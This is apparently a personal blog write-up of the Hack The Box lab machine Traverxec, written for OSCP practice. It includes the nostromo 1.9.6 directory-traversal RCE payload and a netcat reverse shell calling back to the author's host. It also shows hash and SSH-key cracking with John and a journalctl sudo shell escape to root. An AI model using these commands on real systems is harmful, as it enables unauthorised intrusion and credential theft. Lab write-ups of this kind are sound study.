Path to OSCP: Traverxec
As part of my progress towards achieving Offensive Security Certified Professional certification, I’m attempting to complete all NetSecFocus OSCP-style boxes on Hack The Box, and detailing each box in this “Path to OSCP” blog series.
After a bit of a break to do some actual reading/studying, I’m back with the next NetSecFocus box, Traverxec, which has to be one of the most annoying hostnames to type in HTB history. To nmap:
u01@nostromo:~$ sudo nmap -p- -A traverxec.htb -oA HTB/traverxec/traverxec Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-08 15:07 IST Nmap scan report for traverxec.htb (10.10.10.165) Host is up (0.036s latency). rDNS record for 10.10.10.165: trav.htb Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0) | ssh-hostkey: | 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA) | 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA) |_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519) 80/tcp open http nostromo 1.9.6 |_http-title: TRAVERXEC |_http-server-header: nostromo 1.9.6 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|specialized|storage-misc Running (JUST GUESSING): Linux 5.X|3.X|4.X (91%), Crestron 2-Series (86%), HP embedded (85%), Oracle VM Server 3.X (85%) OS CPE: cpe:/o:linux:linux_kernel:5.0 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:crestron:2_series cpe:/h:hp:p2000_g3 cpe:/o:oracle:vm_server:3.4.2 cpe:/o:linux:linux_kernel:4.1 Aggressive OS guesses: Linux 5.0 (91%), Linux 3.10 - 4.11 (90%), Linux 3.2 - 4.9 (90%), Linux 5.1 (90%), Linux 3.18 (88%), Crestron XPanel control system (86%), Linux 3.16 (86%), HP P2000 G3 NAS device (85%), Oracle VM Server 3.4.2 (Linux 4.1) (85%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 22/tcp) HOP RTT ADDRESS 1 45.63 ms 10.10.14.1 2 46.16 ms trav.htb (10.10.10.165) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 121.99 seconds
Standard HTTP port 80 and SSH port 22. We take a look at the webpage, which is a personal portfolio page for David White.
Using Wappalyzer, nmap output, and some manual enumeration of visible directories, we note that the site is using:
• nostromo 1.9.6
• Jquery 1.12.4
• prettyPhoto 3.1.6
• Isotope v1.5.25
• Modernizr
• Bootstrap 3.3.7
Nostromo is the most interesting of the bunch, not least because it’s coincidentally same as the hostname of my Kali box, which threw me off for longer than I’d like to admit! Searchsploit shows a Directory Traversal RCE for this exact version (CVE-2019-16278), so combined with the hint contained in the box’s name “Traverxec”, this must be the correct path.
u01@nostromo:~$ searchsploit nostromo 1.9.6 ------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------------------------------------- --------------------------------- nostromo 1.9.6 - Remote Code Execution | multiple/remote/47837.py ------------------------------------------------------------------------------------------------------------- ---------------------------------
Let’s take a look at the Python script to see what’s happening before we run anything. It takes three command line arguments; the target IP, target port, and a command. It creates a socket and establishes a connection to the provided IP and port, and sends a POST payload which appears to use directory traversal to find and execute /bin/sh, with the payload of the request providing the executed command.def cve(target, port, cmd):
soc = socket.socket() soc.connect((target, int(port))) payload = 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\nContent-Length: 1\r\n\r\necho\necho\n{} 2>&1'.format(cmd) soc.send(payload) receive = connect(soc) print(receive)
So let’s give it a go. I get a TypeError initially, which appears to be Python2/3 related, so I switch to a Python2 virtual environment where it runs successfully, simply running ‘id’ command as POC:
(py2venv) u01@nostromo:~/HTB/traverxec$ python trav.py traverxec.htb 80 id _____-2019-16278 _____ _______ ______ _____\ _____\ \_\ | | | / / | | / /| || / / /|/ / /___/| / / /____/||\ \ \ |/| |__ |___|/ | | |____|/ \ \ \ | | | | | _____ \| \| | | __/ __ |\ \|\ \ |\ /| |\ \ / | \_____\| | | \_______/ | | \____\/ | | | /____/| \ | | / | | |____/| \|_____| || \|_____|/ \|____| | | |____|/ |___|/ HTTP/1.1 200 OK Date: Sun, 08 Oct 2023 18:18:01 GMT Server: nostromo 1.9.6 Connection: close uid=33(www-data) gid=33(www-data) groups=33(www-data)
I try a few reverse shell payloads, getting a successful connection with netcat -e to a listening netcat, to provide a shell as www-data:
(py2venv) u01@nostromo:~/HTB/traverxec$ python trav.py traverxec.htb 80 "nc 10.10.14.12 7777 -e bash"
u01@nostromo:~$ nc -lvnp 7777 listening on [any] 7777 ... connect to [10.10.14.12] from (UNKNOWN) [10.10.10.165] 53028 id uid=33(www-data) gid=33(www-data) groups=33(www-data)
After some manual enumeration I come across an interesting file, /var/nostromo/conf/.nhttpd.conf. Checking the nhttpd help page, it states that “The list of authorized users and their passwords (DES encrypted) are stored in the file set by the htpasswd option in configfile”. “HOMEDIRS” also states “To serve the home directories of your users via HTTP, enable the homedirs option by defining the path in where the home directories are stored, normally /home”, and interestingly “You can restrict the access within the home directories to a single sub directory by defining it via the homedirs_public option”.
So we check out /var/nostromo/conf/.htpasswd first, which contains a password hash for david:
www-data@traverxec:/var/nostromo/conf$ cat .htpasswd david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/
Hash-identifier recognises it as MD5, so should be handy enough to crack:
u01@nostromo:~$ hash-identifier ######################################################################### # __ __ __ ______ _____ # # /\ \/\ \ /\ \ /\__ _\ /\ _ `\ # # \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ # # \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ # # \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ # # \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ # # \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 # # By Zion3R # # www.Blackploit.com # # Root@Blackploit.com # ######################################################################### -------------------------------------------------- HASH: $1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/ Possible Hashs: [+] MD5(Unix) --------------------------------------------------
We use John, specifying md5crypt as the password format and rockyou wordlist, which successfully cracks the hash:
u01@nostromo:~$ john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=md5crypt Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Nowonly4me (?) 1g 0:00:00:42 DONE (2023-10-08 20:47) 0.02333g/s 246866p/s 246866c/s 246866C/s Noyoudo..Novaem Use the "--show" option to display all of the cracked passwords reliably Session completed.
We try this with SSH, but along it is not enough to connect.
Next we look at the other interesting entry, HOMEDIRS. We don’t have read access to /home/david, but this configuration implies there is a folder in the home directory, public_www. When we try to directly list contents of that path, we get a hit:
www-data@traverxec:/var/nostromo/conf$ ls /home/david/public_www index.html protected-file-area area/ata@traverxec:/var/nostromo/conf$ ls /home/david/public_www/protected-file-area backup-ssh-identity-files.tgz
We copy this over to /tmp, extract, and find some SSH keys:
www-data@traverxec:/tmp$ tar zxvf backup-ssh-identity-files.tgz home/david/.ssh/ home/david/.ssh/authorized_keys home/david/.ssh/id_rsa home/david/.ssh/id_rsa.pub
We grab id_rsa, which is encrypted, so we’ll need to crack the password protecting it:
-----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4F seyeH/feG19TlUaMdvHZK/2qfy8pwwdr9sg75x4hPpJJ8YauhWorCN4LPJV+wfCG tuiBPfZy+ZPklLkOneIggoruLkVGW4k4651pwekZnjsT8IMM3jndLNSRkjxCTX3W KzW9VFPujSQZnHM9Jho6J8O8LTzl+s6GjPpFxjo2Ar2nPwjofdQejPBeO7kXwDFU RJUpcsAtpHAbXaJI9LFyX8IhQ8frTOOLuBMmuSEwhz9KVjw2kiLBLyKS+sUT9/V7 HHVHW47Y/EVFgrEXKu0OP8rFtYULQ+7k7nfb7fHIgKJ/6QYZe69r0AXEOtv44zIc Y1OMGryQp5CVztcCHLyS/9GsRB0d0TtlqY2LXk+1nuYPyyZJhyngE7bP9jsp+hec dTRqVqTnP7zI8GyKTV+KNgA0m7UWQNS+JgqvSQ9YDjZIwFlA8jxJP9HsuWWXT0ZN 6pmYZc/rNkCEl2l/oJbaJB3jP/1GWzo/q5JXA6jjyrd9xZDN5bX2E2gzdcCPd5qO xwzna6js2kMdCxIRNVErnvSGBIBS0s/OnXpHnJTjMrkqgrPWCeLAf0xEPTgktqi1 Q2IMJqhW9LkUs48s+z72eAhl8naEfgn+fbQm5MMZ/x6BCuxSNWAFqnuj4RALjdn6 i27gesRkxxnSMZ5DmQXMrrIBuuLJ6gHgjruaCpdh5HuEHEfUFqnbJobJA3Nev54T fzeAtR8rVJHlCuo5jmu6hitqGsjyHFJ/hSFYtbO5CmZR0hMWl1zVQ3CbNhjeIwFA bzgSzzJdKYbGD9tyfK3z3RckVhgVDgEMFRB5HqC+yHDyRb+U5ka3LclgT1rO+2so uDi6fXyvABX+e4E4lwJZoBtHk/NqMvDTeb9tdNOkVbTdFc2kWtz98VF9yoN82u8I Ak/KOnp7lzHnR07dvdD61RzHkm37rvTYrUexaHJ458dHT36rfUxafe81v6l6RM8s 9CBrEp+LKAA2JrK5P20BrqFuPfWXvFtROLYepG9eHNFeN4uMsuT/55lbfn5S41/U rGw0txYInVmeLR0RJO37b3/haSIrycak8LZzFSPUNuwqFcbxR8QJFqqLxhaMztua 4mOqrAeGFPP8DSgY3TCloRM0Hi/MzHPUIctxHV2RbYO/6TDHfz+Z26ntXPzuAgRU /8Gzgw56EyHDaTgNtqYadXruYJ1iNDyArEAu+KvVZhYlYjhSLFfo2yRdOuGBm9AX JPNeaxw0DX8UwGbAQyU0k49ePBFeEgQh9NEcYegCoHluaqpafxYx2c5MpY1nRg8+ XBzbLF9pcMxZiAWrs4bWUqAodXfEU6FZv7dsatTa9lwH04aj/5qxEbJuwuAuW5Lh hORAZvbHuIxCzneqqRjS4tNRm0kF9uI5WkfK1eLMO3gXtVffO6vDD3mcTNL1pQuf SP0GqvQ1diBixPMx+YkiimRggUwcGnd3lRBBQ2MNwWt59Rri3Z4Ai0pfb1K7TvOM j1aQ4bQmVX8uBoqbPvW0/oQjkbCvfR4Xv6Q+cba/FnGNZxhHR8jcH80VaNS469tt VeYniFU/TGnRKDYLQH2x0ni1tBf0wKOLERY0CbGDcquzRoWjAmTN/PV2VbEKKD/w -----END RSA PRIVATE KEY-----
We use ssh2john to generate a hash:
u01@nostromo:~/HTB/traverxec$ ssh2john priv priv:$sshng$1$16$477EEFFBA56F9D283D349033D5D08C4F$1200$b1ec9e1ff7de1b5f5395468c76f1d92bfdaa7f2f29c3076bf6c83be71e213e9249f186ae856a2b08de0b3c957ec1f086b6e8813df672f993e494b90e9de220828aee2e45465b8938eb9d69c1e9199e3b13f0830cde39dd2cd491923c424d7dd62b35bd5453ee8d24199c733d261a3a27c3bc2d3ce5face868cfa45c63a3602bda73f08e87dd41e8cf05e3bb917c0315444952972c02da4701b5da248f4b1725fc22143c7eb4ce38bb81326b92130873f4a563c369222c12f2292fac513f7f57b1c75475b8ed8fc454582b1172aed0e3fcac5b5850b43eee4ee77dbedf1c880a27fe906197baf6bd005c43adbf8e3321c63538c1abc90a79095ced7021cbc92ffd1ac441d1dd13b65a98d8b5e4fb59ee60fcb26498729e013b6cff63b29fa179c75346a56a4e73fbcc8f06c8a4d5f8a3600349bb51640d4be260aaf490f580e3648c05940f23c493fd1ecb965974f464dea999865cfeb36408497697fa096da241de33ffd465b3a3fab925703a8e3cab77dc590cde5b5f613683375c08f779a8ec70ce76ba8ecda431d0b121135512b9ef486048052d2cfce9d7a479c94e332b92a82b3d609e2c07f4c443d3824b6a8b543620c26a856f4b914b38f2cfb3ef6780865f276847e09fe7db426e4c319ff1e810aec52356005aa7ba3e1100b8dd9fa8b6ee07ac464c719d2319e439905ccaeb201bae2c9ea01e08ebb9a0a9761e47b841c47d416a9db2686c903735ebf9e137f3780b51f2b5491e50aea398e6bba862b6a1ac8f21c527f852158b5b3b90a6651d21316975cd543709b3618de2301406f3812cf325d2986c60fdb727cadf3dd17245618150e010c1510791ea0bec870f245bf94e646b72dc9604f5acefb6b28b838ba7d7caf0015fe7b8138970259a01b4793f36a32f0d379bf6d74d3a455b4dd15cda45adcfdf1517dca837cdaef08024fca3a7a7b9731e7474eddbdd0fad51cc7926dfbaef4d8ad47b1687278e7c7474f7eab7d4c5a7def35bfa97a44cf2cf4206b129f8b28003626b2b93f6d01aea16e3df597bc5b5138b61ea46f5e1cd15e378b8cb2e4ffe7995b7e7e52e35fd4ac6c34b716089d599e2d1d1124edfb6f7fe169222bc9c6a4f0b6731523d436ec2a15c6f147c40916aa8bc6168ccedb9ae263aaac078614f3fc0d2818dd30a5a113341e2fcccc73d421cb711d5d916d83bfe930c77f3f99dba9ed5cfcee020454ffc1b3830e7a1321c369380db6a61a757aee609d62343c80ac402ef8abd56616256238522c57e8db245d3ae1819bd01724f35e6b1c340d7f14c066c0432534938f5e3c115e120421f4d11c61e802a0796e6aaa5a7f1631d9ce4ca58d67460f3e5c1cdb2c5f6970cc598805abb386d652a0287577c453a159bfb76c6ad4daf65c07d386a3ff9ab111b26ec2e02e5b92e184e44066f6c7b88c42ce77aaa918d2e2d3519b4905f6e2395a47cad5e2cc3b7817b557df3babc30f799c4cd2f5a50b9f48fd06aaf435762062c4f331f989228a6460814c1c1a777795104143630dc16b79f51ae2dd9e008b4a5f6f52bb4ef38c8f5690e1b426557f2e068a9b3ef5b4fe842391b0af7d1e17bfa43e71b6bf16718d67184747c8dc1fcd1568d4b8ebdb6d55e62788553f4c69d128360b407db1d278b5b417f4c0a38b11163409b18372abb34685a30264cdfcf57655b10a283ff0
Which John doesn’t have much trouble cracking:
u01@nostromo:~/HTB/traverxec$ john hash Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes Cost 2 (iteration count) is 1 for all loaded hashes Will run 4 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance. Almost done: Processing the remaining buffered candidate passwords, if any. Proceeding with wordlist:/usr/share/john/password.lst hunter (priv) 1g 0:00:00:00 DONE 2/3 (2023-10-08 21:07) 11.11g/s 12522p/s 12522c/s 12522C/s frodo..pumpkin Use the "--show" option to display all of the cracked passwords reliably Session completed.
Armed with the private key and password, we should now be able to get an SSH session as David, and grab the user.txt flag:
u01@nostromo:~/HTB/traverxec$ chmod 600 priv u01@nostromo:~/HTB/traverxec$ ssh david@traverxec.htb -i priv Enter passphrase for key 'priv': Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64 david@traverxec:~$ id uid=1000(david) gid=1000(david) groups=1000(david),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev) david@traverxec:~$ ls -l user.txt -r--r----- 1 root david 33 Oct 8 14:00 user.txt
The first obvious point of interest is the bin folder in david’s home directory, which contains a server-stats.sh script:
david@traverxec:~/bin$ ls -la total 16 drwx------ 2 david david 4096 Oct 25 2019 . drwx--x--x 5 david david 4096 Oct 8 16:11 .. -r-------- 1 david david 802 Oct 25 2019 server-stats.head -rwx------ 1 david david 363 Oct 25 2019 server-stats.sh david@traverxec:~/bin$ cat server-stats.sh #!/bin/bash cat /home/david/bin/server-stats.head echo "Load: `/usr/bin/uptime`" echo " " echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`" echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`" echo " " echo "Last 5 journal log lines:" /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
The last line is the most interesting. Although we don’t have david’s password to confirm his sudo permissions, this script would imply that he at least has sudo permissions to run journalctl, maybe limited to the unostromo service. Running the script shows that it is working as intended:
Last 5 journal log lines: -- Logs begin at Sun 2023-10-08 13:59:51 EDT, end at Sun 2023-10-08 16:39:13 EDT. -- Oct 08 15:18:04 traverxec sudo[4052]: pam_unix(sudo:auth): authentication failure; logname= uid=33 euid=0 tty=/dev/pts/0 ruser=www-data rhost= user=www-data Oct 08 15:18:05 traverxec sudo[4052]: pam_unix(sudo:auth): conversation failed Oct 08 15:18:05 traverxec sudo[4052]: pam_unix(sudo:auth): auth could not identify password for [www-data] Oct 08 15:18:05 traverxec sudo[4052]: www-data : command not allowed ; TTY=pts/0 ; PWD=/tmp ; USER=root ; COMMAND=list Oct 08 15:18:05 traverxec nologin[4096]: Attempted login by UNKNOWN on UNKNOWN
I try to modify this file but despite seeminly having rwx access, I can’t modify it. I move the file to david’s home directory and can modify it from there.
I try messing around with pipes and && to see if the sudo permissions can help me create a file with root permissions as a POC, but don’t have any lucky. Checking GTFOBins, there is a method to drop from journalctl into the shell of whichever user it is running under:
The problem here is that we don’t get a chance to enter any input into jouralctl, as it is immediately piped to cat.
So to resolve this, we simply remove the pipe section from the final command, giving us a chance to enter !/bin/sh, dropping us to root and retrieving the root.txt flag.
david@traverxec:~$ ./server-stats.sh .----. .---------. | == | Webserver Statistics and Data |.-"""""-.| |----| Collection Script || || | == | (c) David, 2019 || || |----| |'-.....-'| |::::| '"")---(""' |___.| /:::::::::::\" " /:::=======:::\ jgs '"""""""""""""' Load: 16:37:13 up 2:37, 1 user, load average: 0.00, 0.00, 0.00 Open nhttpd sockets: 1 Files in the docroot: 117 Last 5 journal log lines: -- Logs begin at Sun 2023-10-08 13:59:51 EDT, end at Sun 2023-10-08 16:37:13 EDT. -- Oct 08 15:18:04 traverxec sudo[4052]: pam_unix(sudo:auth): authentication failure; logname= uid=33 euid=0 tty=/dev/pts/0 ruser=www-data rhost= Oct 08 15:18:05 traverxec sudo[4052]: pam_unix(sudo:auth): conversation failed Oct 08 15:18:05 traverxec sudo[4052]: pam_unix(sudo:auth): auth could not identify password for [www-data] Oct 08 15:18:05 traverxec sudo[4052]: www-data : command not allowed ; TTY=pts/0 ; PWD=/tmp ; USER=root ; COMMAND=list Oct 08 15:18:05 traverxec nologin[4096]: Attempted login by UNKNOWN on UNKNOWN !/bin/sh # id uid=0(root) gid=0(root) groups=0(root) # ls -l /root/root.txt -r-------- 1 root root 33 Oct 8 14:00 /root/root.txt #